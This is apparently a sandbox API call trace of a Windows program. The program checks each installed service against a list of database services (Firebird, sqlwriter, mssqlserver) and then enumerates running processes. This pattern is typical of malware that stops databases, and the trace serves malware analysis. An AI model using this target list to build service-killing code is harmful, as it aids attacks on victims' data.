	[0173.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0173.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0173.286] lstrlenW (lpString="DsmSvc") returned 6
	[0173.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0173.286] lstrlenW (lpString="DusmSvc") returned 7
	[0173.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0173.286] lstrlenW (lpString="EventLog") returned 8
	[0173.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0173.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0173.286] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0173.286] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0173.287] lstrlenW (lpString="EventSystem") returned 11
	[0173.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0173.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0173.287] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0173.287] lstrlenW (lpString="FontCache") returned 9
	[0173.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0173.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0173.287] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0173.287] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0173.287] lstrlenW (lpString="gpsvc") returned 5
	[0173.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0173.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0173.287] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0173.287] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0173.287] lstrlenW (lpString="iphlpsvc") returned 8
	[0173.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.287] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0173.287] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0173.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0173.287] lstrlenW (lpString="KeyIso") returned 6
	[0173.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0173.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0173.287] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0173.287] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0173.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0173.288] lstrlenW (lpString="LanmanServer") returned 12
	[0173.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0173.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0173.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0173.288] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0173.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0173.288] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0173.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0173.288] lstrlenW (lpString="lfsvc") returned 5
	[0173.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0173.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0173.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0173.288] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0173.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0173.288] lstrlenW (lpString="lmhosts") returned 7
	[0173.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0173.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0173.288] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0173.288] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0173.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0173.288] lstrlenW (lpString="LSM") returned 3
	[0173.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0173.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0173.288] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0173.289] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0173.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0173.289] lstrlenW (lpString="MpsSvc") returned 6
	[0173.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0173.289] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0173.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0173.289] lstrlenW (lpString="NcbService") returned 10
	[0173.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0173.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0173.289] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0173.289] lstrlenW (lpString="netprofm") returned 8
	[0173.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0173.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0173.289] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0173.289] lstrlenW (lpString="NgcSvc") returned 6
	[0173.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0173.289] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0173.289] lstrlenW (lpString="NlaSvc") returned 6
	[0173.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.289] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0173.290] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0173.290] lstrlenW (lpString="nsi") returned 3
	[0173.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0173.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0173.290] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0173.290] lstrlenW (lpString="PcaSvc") returned 6
	[0173.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0173.290] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0173.290] lstrlenW (lpString="PlugPlay") returned 8
	[0173.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0173.290] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0173.290] lstrlenW (lpString="Power") returned 5
	[0173.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0173.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0173.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0173.290] lstrlenW (lpString="ProfSvc") returned 7
	[0173.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.290] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0173.291] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0173.291] lstrlenW (lpString="RpcEptMapper") returned 12
	[0173.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0173.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0173.291] lstrlenW (lpString="RpcSs") returned 5
	[0173.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0173.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0173.291] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0173.291] lstrlenW (lpString="SamSs") returned 5
	[0173.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0173.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0173.291] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0173.291] lstrlenW (lpString="Schedule") returned 8
	[0173.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0173.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0173.291] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0173.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0173.291] lstrlenW (lpString="SecurityHealthService") returned 21
	[0173.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0173.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0173.292] lstrlenW (lpString="SENS") returned 4
	[0173.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0173.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0173.292] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0173.292] lstrlenW (lpString="ShellHWDetection") returned 16
	[0173.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0173.292] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0173.292] lstrlenW (lpString="Spooler") returned 7
	[0173.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0173.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0173.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0173.292] lstrlenW (lpString="StateRepository") returned 15
	[0173.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0173.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0173.292] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0173.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0173.293] lstrlenW (lpString="SysMain") returned 7
	[0173.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0173.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0173.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0173.293] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0173.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0173.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0173.293] lstrlenW (lpString="Themes") returned 6
	[0173.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0173.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0173.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0173.293] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0173.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0173.293] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0173.293] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0173.294] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c64c0 | out: hHeap=0x610000) returned 1
	[0173.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x588
	[0173.455] Process32FirstW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0173.455] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0173.456] lstrlenW (lpString="System") returned 6
	[0173.456] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0173.457] lstrlenW (lpString="smss.exe") returned 8
	[0173.457] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.457] lstrlenW (lpString="csrss.exe") returned 9
	[0173.457] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0173.458] lstrlenW (lpString="wininit.exe") returned 11
	[0173.458] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0173.458] lstrlenW (lpString="csrss.exe") returned 9
	[0173.458] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0173.459] lstrlenW (lpString="winlogon.exe") returned 12
	[0173.459] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0173.459] lstrlenW (lpString="services.exe") returned 12
	[0173.459] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0173.460] lstrlenW (lpString="lsass.exe") returned 9
	[0173.460] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.461] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.461] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0173.461] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0173.461] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.462] lstrlenW (lpString="svchost.exe") returned 11
	[0173.462] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.462] lstrlenW (lpString="svchost.exe") returned 11
	[0173.462] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0173.463] lstrlenW (lpString="dwm.exe") returned 7
	[0173.463] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.463] lstrlenW (lpString="svchost.exe") returned 11
	[0173.464] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.464] lstrlenW (lpString="svchost.exe") returned 11
	[0173.464] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.465] lstrlenW (lpString="svchost.exe") returned 11
	[0173.465] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.465] lstrlenW (lpString="svchost.exe") returned 11
	[0173.465] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.466] lstrlenW (lpString="svchost.exe") returned 11
	[0173.466] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.467] lstrlenW (lpString="svchost.exe") returned 11
	[0173.467] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.467] lstrlenW (lpString="svchost.exe") returned 11
	[0173.467] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.468] lstrlenW (lpString="svchost.exe") returned 11
	[0173.468] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.468] lstrlenW (lpString="svchost.exe") returned 11
	[0173.468] Process32NextW (in: hSnapshot=0x588, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0173.469] lstrlenW (lpString="svchost.exe") returned 11
